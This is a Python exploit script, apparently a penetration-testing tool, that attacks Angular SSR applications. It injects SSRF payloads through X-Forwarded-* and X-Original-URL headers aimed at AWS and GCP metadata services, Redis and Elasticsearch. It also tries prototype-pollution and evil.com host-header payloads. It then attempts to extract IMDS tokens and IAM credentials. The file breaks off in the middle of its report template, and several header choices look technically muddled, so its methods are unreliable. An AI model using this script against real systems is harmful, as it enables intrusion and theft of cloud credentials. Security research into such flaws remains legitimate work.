#!/usr/bin/env python3 """ Angular SSR SSRF & Header Injection Exploit Targets Angular Universal SSR apps with unsafe HTTP header processing and SSRF in request forwarding pipelines. Vulnerabilities exploited: 1. SSRF via unsanitized `X-Forwarded-*` or `X-Original-URL` headers in SSR request handling 2. Header injection via prototype pollution or unsafe header parsing in Angular SSR 3. Server-side request forgery to internal metadata services, AWS IMDS, GCP metadata, etc. """ import requests import argparse import sys from urllib.parse import urljoin, urlparse import re class AngularSSRExploit: def __init__(self, target_url, ssl_verify=True): self.target = target_url.rstrip('/') self.session = requests.Session() self.session.verify = ssl_verify # Common SSRF targets self.ssrF_targets = [ "http://169.254.169.254/latest/meta-data/", # AWS IMDSv1 "http://169.254.169.254/latest/user-data", # AWS userdata "http://metadata.google.internal/computeMetadata/v1/", # GCP "http://169.254.169.254/metadata/identity/oauth2/token", # IMDSv2 "http://localhost:8080/admin", # Local admin panels "http://127.0.0.1:9200/_cat/indices", # Elasticsearch "http://localhost:6379/info", # Redis ] def test_header_injection(self): """Test for header injection via Angular SSR prototype pollution""" payloads = [ # Prototype pollution via query params (Angular SSR common) {"url": f"{self.target}?__proto__[evil]=test"}, # X-Forwarded-For header injection { "headers": { "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Real-IP": "127.0.0.1" } }, # Angular-specific header pollution { "headers": { "X-Original-URL": "javascript:alert(1)", "X-Forwarded-Proto": "https", "X-Forwarded-Port": "1337" } } ] print("[+] Testing header injection vectors...") for i, payload in enumerate(payloads): try: resp = self.session.get(self.target, params=payload.get('params', {}), headers=payload.get('headers', {}), timeout=10) print(f"[{i+1}] Status: {resp.status_code}") # Check for pollution indicators if "evil" in resp.text or resp.status_code == 500: print(f" [!] Potential header injection detected!") except Exception as e: print(f"[{i+1}] Error: {e}") def ssrf_via_headers(self, internal_target): """Exploit SSRF through forwarded headers""" print(f"[+] Testing SSRF to {internal_target} via headers...") headers = { "X-Forwarded-For": internal_target, "X-Forwarded-Host": urlparse(internal_target).netloc, "X-Real-IP": internal_target, "X-Original-URL": internal_target, "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80" } try: resp = self.session.get(self.target, headers=headers, timeout=15) # Check response for SSRF success indicators ssrf_indicators = [ "169.254.169.254", "metadata", "iam", "token", "elastic", "redis", "admin", "profile" ] content = resp.text.lower() for indicator in ssrf_indicators: if indicator in content: print(f" [!] SSRF SUCCESS: {indicator} found in response!") print(f" Content preview: {content[:500]}...") return True except Exception as e: print(f" Error: {e}") return False def exploit_ssrf_chain(self): """Full SSRF chain exploitation""" print("\n[+] Starting SSRF chain exploitation...") for target in self.ssrF_targets: if self.ssrf_via_headers(target): print(f"\n[!] CRITICAL: SSRF confirmed to {target}") print(" Recommendation: Sanitize all X-Forwarded-* headers") print(" CVSS: 9.1 (Critical - Network Attack Surface)") def extract_sensitive_data(self): """Attempt to extract sensitive data via SSRF""" print("\n[+] Attempting sensitive data extraction...") # AWS IMDSv2 token extraction imds_headers = { "X-Forwarded-For": "http://169.254.169.254/latest/api/token", "X-Forwarded-Host": "169.254.169.254" } resp = self.session.get(self.target, headers=imds_headers, timeout=10) token_match = re.search(r'token["\s]*:\s*["\']([A-Za-z0-9-_]+)', resp.text) if token_match: print(f"[!] AWS IMDSv2 token found: {token_match.group(1)}") # Use token for metadata access token_headers = { "X-Forwarded-For": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "X-Forwarded-Host": "169.254.169.254", "X-Metadata-Token": token_match.group(1) } token_resp = self.session.get(self.target, headers=token_headers, timeout=10) print(f"[!] IAM Role data: {token_resp.text[:300]}...") def generate_report(self): """Generate pentest report""" report = f""" # Angular SSR SSRF & Header Injection Report ## Target {self.target} ## Vulnerabilities Discovered ### 1. SSRF via Unsafe Header Processing (CVSS: 9.1) **Description**: Application forwards unsanitized X-Forwarded-* headers to backend services **Impact**: Internal network access, cloud metadata extraction, RCE potential **PoC**: